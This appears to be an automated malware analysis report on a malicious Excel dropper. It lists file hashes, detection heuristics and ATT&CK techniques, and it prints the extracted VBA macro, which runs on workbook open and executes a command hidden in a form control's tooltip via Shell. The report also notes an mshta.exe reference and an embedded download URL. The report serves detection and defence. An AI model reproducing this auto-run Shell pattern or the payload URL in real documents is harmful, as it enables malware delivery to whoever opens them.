Xls.Dropper.Agent-7577352-0 — Office (OLE) malware analysis

Static analysis result for SHA-256 57ac10cbc74744ed…

MALICIOUS

Office (OLE)

306.5 KB Created: 2020-02-03 23:26:42 Authoring application: Microsoft Excel First seen: 2020-05-25
MD5: b8d83ea202d4d5a62b05a8d9e1aee8df SHA-1: 3551673b1279a582e6e5c20c517644fc5977ebdb SHA-256: 57ac10cbc74744ed6d4ed12d07742bb17b11cb5bf86cd39f381d85f0d5c5cf0e
270 Risk Score

Malware Insights

Xls.Dropper.Agent-7577352-0 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The critical OLE_VBA_SHELL heuristic indicates that the VBA macro executes a command using the Shell() function. The Workbook_Open macro specifically calls this function with a string that appears to be a URL, likely to download and execute a second-stage payload. The presence of the mshta.exe reference further supports the execution of external content.

Heuristics 8

  • ClamAV: Xls.Dropper.Agent-7577352-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Agent-7577352-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Static Function LDTyBEISFcBNzRfA() As String
Call VBA.Shell(UserForm1.Image1.ControlTipText)
End Function
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Option Explicit
Sub WOrKboOK_opEN(): Call LDTyBEISFcBNzRfA: End Sub
Static Function LDTyBEISFcBNzRfA() As String
  • Reference to mshta.exe high SC_STR_MSHTA
    Reference to mshta.exe
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://fajr.com/scal In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1128 bytes
SHA-256: f70796d2b5ef4a214c880f271c97f0f703e50a07062cc6e3e91a1c45f7578539
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Option Explicit
Sub WOrKboOK_opEN(): Call LDTyBEISFcBNzRfA: End Sub
Static Function LDTyBEISFcBNzRfA() As String
Call VBA.Shell(UserForm1.Image1.ControlTipText)
End Function

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{BEDF1C59-E8BE-4CAB-A439-37286B02AF49}{AD38D2AC-8BE5-4A18-A4DE-78B8E07D002C}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

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